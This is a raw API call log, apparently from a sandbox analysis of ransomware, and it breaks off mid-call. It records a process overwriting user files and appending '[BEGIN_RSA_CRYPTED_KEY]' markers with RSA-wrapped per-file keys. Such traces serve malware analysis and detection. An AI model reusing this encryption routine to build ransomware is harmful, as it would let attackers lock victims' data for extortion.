(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\35f89b4b9e467bc7de0cfaff3019ebc9644123f2acf37c4dfb22e8c60d4e4745" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\35f89b4b9e467bc7de0cfaff3019ebc9644123f2acf37c4dfb22e8c60d4e4745"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.237] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2291) returned 1 [0220.237] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x8f3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x8f3, lpOverlapped=0x0) returned 1 [0220.273] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-2291, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.273] WriteFile (in: hFile=0x1840, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x8f3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8f3, lpOverlapped=0x0) returned 1 [0220.273] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8f3 [0220.273] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.273] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.274] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.274] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.274] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.274] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="0sJtITN2I6oDRk2OwKeN33d9ICC2o0H8tXDBgfIxU7p1O9fE1yQik3Nvu5epHv8J\nIykPyWnPpopRaeDJ/qduXnQAZ3r7UpHrPrV5dQoXEVgitymuMlmPpQLzXiBDB/ga\ndWAuB5y2dQpxskWqiKhAR/2vxkuUO/1mGuh9KP74e8VliAzU1HMAKEnC7ZNwHTX9\n7ltbI1qTk4znZA5vZ8wEdOzxmX2tsltCjMsA3G6tcaM2wpObgF7IzOA0wx075ooX\ns80G/CFHFHe9pfgy/r1pFE6m/4pIIWobkA4dddLLMWTjg56CrNTul86xp2wz0Hks\n7GlGKq6FagxvOOHXZoy1Rw==\n", pcchString=0x2e3f9a8) returned 1 [0220.274] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.274] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.274] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.274] CloseHandle (hObject=0x1840) returned 1 [0220.277] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.277] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\33b80b77ad0b63074a6e2d6d52c5022ef09645fe923adea0b00d0886b3707cdd", dwFileAttributes=0x80) returned 1 [0220.278] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\33b80b77ad0b63074a6e2d6d52c5022ef09645fe923adea0b00d0886b3707cdd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\33b80b77ad0b63074a6e2d6d52c5022ef09645fe923adea0b00d0886b3707cdd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.278] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1011) returned 1 [0220.279] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x3f3, lpOverlapped=0x0) returned 1 [0220.280] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1011, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.280] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3f3, lpOverlapped=0x0) returned 1 [0220.280] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3f3 [0220.280] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.280] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.281] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.281] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.281] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.281] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="vrx40lN6gXEA/RYnanjjXA/OkOXdnVRrbLhv3UMGY/CS0ZI856eWZl2A7tttoQ7C\nj0jKUJWFOR5Fgl58IX1azE1GgF6BzEGn0IlL5vnib17xatN+qlPsWCxnzlnDpraf\niRI+FZK/H4fLsCv58uh5lQ+e6oLe/L0ASYEqjkoQ7LefViX+1/eIOE9AdxPIjw7t\nbL0BSC3e3YGOYr7ZNU0Jh5ET1sSvbs5kVApzojRqA4cj3t451vSYo/WaTE7rQyRJ\n2H61ifw++DunvY+PLBL/dqJTI/T9mF1SuNr1NRTjZmUzeMS/HZKJxvCBRPE1h5ml\nOspytwd+iRaykewJyZ3Zkg==\n", pcchString=0x2e3f9a8) returned 1 [0220.281] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.281] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.282] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.282] CloseHandle (hObject=0x1840) returned 1 [0220.284] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.284] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3342109535f710219f1781d2bc144e381a38719da81d2754d39683cb295271f8", dwFileAttributes=0x80) returned 1 [0220.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x2f81da0 [0220.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0220.284] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3342109535f710219f1781d2bc144e381a38719da81d2754d39683cb295271f8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3342109535f710219f1781d2bc144e381a38719da81d2754d39683cb295271f8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.285] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16779) returned 1 [0220.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x418b) returned 0x2f35020 [0220.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x418b) returned 0x2f391b8 [0220.285] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x418b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x418b, lpOverlapped=0x0) returned 1 [0220.301] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16779, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.301] WriteFile (in: hFile=0x1840, lpBuffer=0x2f391b8*, nNumberOfBytesToWrite=0x418b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x418b, lpOverlapped=0x0) returned 1 [0220.302] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x418b [0220.302] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.302] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.302] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.302] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.302] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0220.302] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="aLbW0vuC9R/qpQ7kU0DdVX3n5UXlIGUHM3CEqY981cLGKNwDjl7rF76AtcS/clzn\n/J7Nl8JYcSorpmRIm5GfStW+3QrAt8y8fZuVCmjQobNRlTWld4VdO4T7gKK6HihZ\n2JSMZ/lahfdJH+o+9lVmb2BIP/HtU5i+J7PElXaSYKyMz64ranbWbgiaL2csH0uJ\nhonKPJbjGbVq6etG7yzY3UITjSXEb8H1zQYix/tKfH99hLhcvDfmVLNlh/Pg/o6f\nOykfyL50/kvzwaGfRq2NuRuu9Lhzw5W9eRcn26wHW+c1kxdG8wb+enVzY3sxZaSl\nexM0af1AFzTDqAQ/2/L8Fw==\n", pcchString=0x2e3f9a8) returned 1 [0220.302] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.302] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.302] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.303] CloseHandle (hObject=0x1840) returned 1 [0220.304] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.304] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3333cb48db1fe6a1f418058365775172a08a00c54b58cf5380f19d93320ea216", dwFileAttributes=0x80) returned 1 [0220.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x2f81800 [0220.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0220.305] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3333cb48db1fe6a1f418058365775172a08a00c54b58cf5380f19d93320ea216" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3333cb48db1fe6a1f418058365775172a08a00c54b58cf5380f19d93320ea216"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.305] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1538) returned 1 [0220.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x602) returned 0x3351010 [0220.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x602) returned 0x3351620 [0220.305] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x602, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x602, lpOverlapped=0x0) returned 1 [0220.351] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.351] WriteFile (in: hFile=0x1840, lpBuffer=0x3351620*, nNumberOfBytesToWrite=0x602, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351620*, lpNumberOfBytesWritten=0x2e3f9b4*=0x602, lpOverlapped=0x0) returned 1 [0220.351] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x602 [0220.351] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.351] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.351] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.351] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0220.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="WmaMu86RaLoe1SPPpNXU2rvibGvpBTM12afomArvkdWQX7bAtztFu6+UdEObudDK\nhhIwqKM/DBvQ+YJgJnDw9MmnLGOk6hp72VwxDUFX5WRk0qs/+3JTx+f1M1vxM7wZ\ncMdycR3q+xtMx3BzXx60auMgNXs1cCnBUHhuqCxXKIURc74m0NUXgtv2Qp1bIQpQ\nTfvpBhtgFWngW7+oNyhrOC3SwKSaoYBgWL8Vt+PKd5fAuyJQrTK2bzqb+8E01BWi\nWcvcw++k7UgIShBtet1wO/gcczwlikltYu5kVhUZ6Xo8mLYI212Ylu0u93y9coX8\nqGjGYBUWuhuzdfBkZ5oOig==\n", pcchString=0x2e3f9a8) returned 1 [0220.352] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.352] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.352] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.352] CloseHandle (hObject=0x1840) returned 1 [0220.529] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.529] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\321e92d6b5e6fb51a51aa7af3afb13138f26b4ee847a691a28db747eb08cfe1f", dwFileAttributes=0x80) returned 1 [0220.530] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x65b080 [0220.530] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0220.530] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\321e92d6b5e6fb51a51aa7af3afb13138f26b4ee847a691a28db747eb08cfe1f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\321e92d6b5e6fb51a51aa7af3afb13138f26b4ee847a691a28db747eb08cfe1f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.531] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1148131) returned 1 [0220.531] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1184e3) returned 0x672020 [0220.531] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1184e3) returned 0x354d020 [0220.532] ReadFile (in: hFile=0x1840, lpBuffer=0x672020, nNumberOfBytesToRead=0x1184e3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x672020*, lpNumberOfBytesRead=0x2e3f9b4*=0x1184e3, lpOverlapped=0x0) returned 1 [0220.673] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1148131, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.673] WriteFile (in: hFile=0x1840, lpBuffer=0x354d020*, nNumberOfBytesToWrite=0x1184e3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354d020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1184e3, lpOverlapped=0x0) returned 1 [0220.679] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1184e3 [0220.679] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.679] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.679] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.679] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.679] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.679] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0220.679] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="qxCJeLZ0oSB9RKZvjX7zIFtDJMPR05bXOcUAphfg6k3qdPQe3SlDnjoUFByD6+9p\nZrtN9icnlHJXQNnTr+W5sgJsA0vo4wennMhwxmoRG/Dufvo3TuS/vmRr5j07ODAr\nSHojq+CxxaWKppqHQ+RcnTr6957YeGoeq5Yh59wo7gcKXiBQ8Sz+XIa4WuUtLFBH\nUocK+hlaDMwGmHNM1PPZPBDC2BDofs3a0YwHnW60tarrFwg+31i21p13UMexzbU2\nA6Yrqt8XRNMrdWs+vE9S0FzJQMWkNflP2h0OatPUO0TsB4np6jKWjUidZ/RKqTLO\neNKQktvQCBXGL/z187EoFw==\n", pcchString=0x2e3f9a8) returned 1 [0220.679] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.680] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.680] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.680] CloseHandle (hObject=0x1840) returned 1 [0220.681] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.681] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\30d2da25a9658be5fc67ba071ac8e0571f3095ab06bcbd4d5d14a1fcdc096a14", dwFileAttributes=0x80) returned 1 [0220.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x65bd28 [0220.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0220.682] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\30d2da25a9658be5fc67ba071ac8e0571f3095ab06bcbd4d5d14a1fcdc096a14" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\30d2da25a9658be5fc67ba071ac8e0571f3095ab06bcbd4d5d14a1fcdc096a14"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.682] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1131) returned 1 [0220.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x46b) returned 0x66ea30 [0220.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x46b) returned 0x3351010 [0220.682] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x46b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x46b, lpOverlapped=0x0) returned 1 [0220.719] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1131, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.719] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x46b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x46b, lpOverlapped=0x0) returned 1 [0220.720] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x46b [0220.720] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.720] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, 